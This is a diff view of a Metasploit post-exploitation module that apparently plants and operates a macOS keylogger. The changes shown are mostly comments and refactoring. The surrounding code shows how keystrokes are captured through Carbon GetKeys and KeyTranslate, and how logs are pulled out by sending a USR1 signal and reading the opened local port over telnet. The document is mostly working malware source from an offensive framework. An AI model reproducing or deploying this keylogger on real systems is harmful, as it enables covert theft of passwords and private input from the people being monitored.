@@ -12,8 +12,10 @@ class Metasploit3 < Msf::Post
12
12
include Msf ::Post ::File
13
13
include Msf ::Auxiliary ::Report
14
14
15
- # the port used for telnet IPC. It is only open after the
16
- # keylogger process is sent a USR1 signal
15
+ # when we need to read from the keylogger,
16
+ # we first "knock" the process by sending a USR1 signal.
17
+ # the keylogger opens a local tcp port (22899 by default) momentarily
18
+ # that we can connect to and read from (using cmd_exec(telnet ...)).
17
19
attr_accessor :port
18
20
19
21
# the pid of the keylogger process
@@ -51,7 +53,7 @@ def initialize(info={})
51
53
[ true , 'The time between transferring log chunks.' , 10 ]
52
54
) ,
53
55
OptInt . new ( 'LOGPORT' ,
54
- [ false , 'Local port opened for transferring logs ' , 22899 ]
56
+ [ false , 'Local port opened for momentarily for log transfer ' , 22899 ]
55
57
)
56
58
]
57
59
)
@@ -94,7 +96,7 @@ def run
94
96
print_status "Waiting #{ datastore [ 'SYNCWAIT' ] } seconds."
95
97
Rex . sleep ( datastore [ 'SYNCWAIT' ] )
96
98
print_status "Sending USR1 signal to open TCP port..."
97
- cmd_exec ( "kill -USR1 #{ @ pid} " )
99
+ cmd_exec ( "kill -USR1 #{ self . pid } " )
98
100
print_status "Dumping logs..."
99
101
log = cmd_exec ( "telnet localhost #{ self . port } " )
100
102
log_a = log . scan ( /^\[ .+?\] \[ .+?\] .*$/ )
@@ -125,14 +127,13 @@ def kill_process(pid)
125
127
end
126
128
127
129
def cleanup
130
+ return if session . nil?
128
131
return if not @cleaning_up . nil?
129
132
@cleaning_up = true
130
133
131
- return if session . nil?
132
-
133
- if @pid . to_i > 0
134
+ if self . pid . to_i > 0
134
135
print_status ( "Cleaning up..." )
135
- kill_process ( @ pid)
136
+ kill_process ( self . pid )
136
137
end
137
138
end
138
139
@@ -190,9 +191,9 @@ def method_missing(meth, *args, &block)
190
191
log = ''
191
192
log_semaphore = Mutex.new
192
193
Signal.trap("USR1") do # signal used for port knocking
193
- if not @server_listening
194
+ if not @server_listening
194
195
@server_listening = true
195
- Thread.new do
196
+ Thread.new do
196
197
require 'socket'
197
198
server = TCPServer.new(options[:port])
198
199
client = server.accept
@@ -252,7 +253,7 @@ module Carbon
252
253
(0...128).each do |k|
253
254
# pulled from apple's developer docs for Carbon#KeyMap/GetKeys
254
255
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
255
- if not prev_down[k]
256
+ if not prev_down[k]
256
257
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
257
258
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
258
259
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
0 commit comments